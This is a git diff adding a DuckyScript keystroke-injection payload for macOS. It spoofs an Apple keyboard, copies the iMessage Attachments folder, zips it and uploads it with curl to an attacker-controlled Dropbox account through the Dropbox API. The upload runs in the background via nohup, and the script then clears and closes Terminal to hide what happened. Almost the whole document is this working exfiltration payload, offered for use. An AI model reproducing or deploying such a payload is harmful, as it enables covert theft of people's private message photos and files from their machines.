diff --git a/Executions/Imessage Attachments to Dropbox.txt b/Executions/Imessage Attachments to Dropbox.txt new file mode 100644 index 0000000..93dcbed --- /dev/null +++ b/Executions/Imessage Attachments to Dropbox.txt @@ -0,0 +1,58 @@ +REM This Script will copy all the attachments in the messages app and send them to your dropbox API +REM Replace '' with the systems actual username +REM Replace "' with your actual Dropbox API key + + +REM Author: Narsty +REM Title: Imessage Attachments to Dropbox +REM Version 2.0 MacOs +REM Category: Execution + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING Finder +DELAY 1000 +ENTER +DELAY 2000 +GUI-SHIFT g +DELAY 1000 +STRING /Users//Library/Messages/ +DELAY 500 +ENTER +DELAY 1000 +TAB +DELAY 500 +GUI c +DELAY 250 +CTRL RIGHTARROW +DELAY 1000 +GUI v +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 1000 +STRING echo 'cd ~/Desktop && zip -r attachments.zip Attachments && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/attachments.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @attachments.zip' > upload.sh +DELAY 2000 +ENTER +DELAY 500 +STRING chmod +x upload.sh +DELAY 500 +ENTER +DELAY 500 +STRING nohup ./upload.sh >/dev/null 2>&1 & +DELAY 500 +ENTER +DELAY 500 +GUI k +DELAY 500 +GUI w +DELAY 500 +ENTER + + +